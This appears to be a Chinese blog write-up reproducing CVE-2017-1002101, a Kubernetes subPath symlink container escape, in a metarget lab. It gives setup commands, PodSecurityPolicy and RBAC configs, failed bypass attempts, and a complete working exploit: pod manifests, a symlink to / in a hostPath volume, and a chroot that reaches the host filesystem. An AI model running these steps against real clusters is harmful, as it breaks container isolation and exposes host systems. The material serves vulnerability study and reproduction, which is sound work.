搭了一晚上k8s……脖子疼,幸亏搭好了不然睡不着觉了
原理见👉逃逸风云再起 ,不写了
影响版本 :v1.3.x、v1.4.x、v1.5.x、v1.6.x及低于v1.7.14、v1.8.9和v1.9.4版本
利用情景:
存在Pod安全策略,限制了挂载目录
具有某命名空间下Pod的创建及相关权限
环境配置 ubuntu18.04使用metarget
1 2 $ sudo ./metarget gadget install docker --version 18.03.1 --verbose $ sudo ./metarget cnv install cve-2017-1002101 --domestic --verbose
不能用root!不能用root!不能用root!
热身一下 无安全策略
1 2 $ sudo kubectl get podsecuritypolicy No resources found.
创建一个pod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: v1 kind: Pod metadata: name: cve-2017-1002101 spec: containers: - name: test image: busybox:1.28.4 command: ["sleep" , "864000" ] volumeMounts: - mountPath: /test name: test-vol volumes: - name: test-vol hostPath: path: /tmp/test type: DirectoryOrCreate
1 $ sudo kubectl apply -f cve.yaml
要用1.28.4,老版本docker拉取不了新版本的镜像
进入pod
1 $ sudo kubectl exec -it cve-2017-1002101 -- /bin/sh
创建符号链接
1 2 3 4 5 cd /test ln -s ../../.. malicious_link ls -l total 0 lrwxrwxrwx 1 root root 8 Apr 14 17:25 malicious_link -> ../../..
本机查看符号链接
1 2 3 4 5 6 7 $ ls -l /tmp/test/malicious_link lrwxrwxrwx 1 root root 8 Apr 14 10:25 /tmp/test/malicious_link -> ../../..$ cat <<EOF > /here_i_am.txt > Yeah!! I'm on the host's root dir!! > EOF $ cat /tmp/test/malicious_link/here_i_am.txt Yeah!! I'm on the host's root dir!!
再进入pod
1 2 cat /test/malicious_link/here_i_am.txt cat: can't open '/test/malicious_link/here_i_am.txt': No such file or directory
浅试一下 使用subPath挂载malicious_link,再创建一个pod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 apiVersion: v1 kind: Pod metadata: name: cve-2017-1002101 spec: containers: - name: busybox image: busybox:1.28.4 command: ["sleep" , "864000" ] volumeMounts: - mountPath: /test name: test-vol subPath: malicious_link volumes: - name: test-vol hostPath: path: /tmp/test type: Directory
再进入pod,可以读取到 / 下的文件,且这时候/test就是主机的根目录
1 2 cat /test/here_i_am.txt Yeah!! I'm on the host's root dir!!
真的环境搭建 创建策略,注意空格
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 apiVersion: extensions/v1beta1 kind: PodSecurityPolicy metadata: name: privileged annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*' spec: privileged: true allowPrivilegeEscalation: true allowedCapabilities: - '*' volumes: - '*' allowedHostPaths: - pathPrefix: /tmp/ hostNetwork:true hostPorts: - min: 0 max: 65535 hostIPC: true hostPID: true runAsUser: rule: 'RunAsAny' seLinux: rule: 'RunAsAny' supplementalGroups: rule: 'RunAsAny' fsGroup: rule: 'RunAsAny'
1 $ sudo kubectl apply -f policy.yaml
打通RBAC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: privileged-psp rules: - apiGroups: - policy resourceNames: - privileged resources: - podsecuritypolicies verbs: - use apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: kube-system-psp namespace: kube-system roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: privileged-psp subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:nodes - apiGroup: rbac.authorization.k8s.io kind: Group name: system:serviceaccounts:kube-system
1 $ sudo kubectl apply -f rbac.yaml --validate=false
手动编辑APIServer配置文件
1 2 3 4 5 6 $ sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml - --admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,ResourceQuota,PodSecurityPolicy
重启Kubelet服务
1 $ sudo service kubelet restart
尝试挂载宿主机根目录,失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: v1 kind: Pod metadata: name: test spec: containers: - image: busybox:1.28.4 name: test volumeMounts: - mountPath: /test name: vuln-vol command: ["sleep" ] args: ["10000" ] volumes: - name: vuln-vol hostPath: path: /
1 2 $ sudo kubectl apply -f try.yaml Error from server (Forbidden): error when creating "try.yaml": pods "test" is forbidden: unable to validate against any pod security policy: [spec.volumes[0].hostPath.pathPrefix: Invalid value: "/": is not allowed to be used]
尝试相对路径绕过,失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: v1 kind: Pod metadata: name: test spec: containers: - image: busybox:1.28.4 name: test volumeMounts: - mountPath: /test name: vuln-vol command: ["sleep" ] args: ["10000" ] volumes: - name: vuln-vol hostPath: path: /tmp/../
1 2 3 4 $ sudo kubectl apply -f try.yaml The Pod "test" is invalid: * spec.volumes[0].hostPath.path: Invalid value: "/tmp/../": must not contain '..' * spec.containers[0].volumeMounts[0].name: Not found: "vuln-vol"
漏洞利用 步骤:
创建一个Pod,hostPath挂载/tmp/test
上一个Pod中,在宿主机/tmp/test目录下创建指向/的符号链接xxx
创建第二个Pod,hostPath挂载/tmp/test,subPath挂载xxx
第二个Pod的shell中,chroot到xxx,实现容器逃逸
第一个pod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: v1 kind: Pod metadata: name: stage-1-container spec: containers: - image: busybox:1.28.4 name: stage-1-container volumeMounts: - mountPath: /vuln name: vuln-vol command: ["sleep" ] args: ["10000" ] volumes: - name: vuln-vol hostPath: path: /tmp/test
在第一个pod中创建符号链接
1 $ sudo kubectl exec -it stage-1-container -- ln -s / /vuln/xxx
创建第二个pod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 apiVersion: v1 kind: Pod metadata: name: stage-2-container spec: containers: - image: busybox:1.28.4 name: stage-2-container volumeMounts: - mountPath: /vuln name: vuln-vol subPath: xxx command: ["sleep" ] args: ["10000" ] volumes: - name: vuln-vol hostPath: path: /tmp/test
进入第二个pod chroot,逃逸成功
1 2 3 4 5 6 $ sudo kubectl exec -it stage-2-container -- /bin/sh cat /etc/hostname stage-2-container chroot vuln cat /etc/hostname ubuntu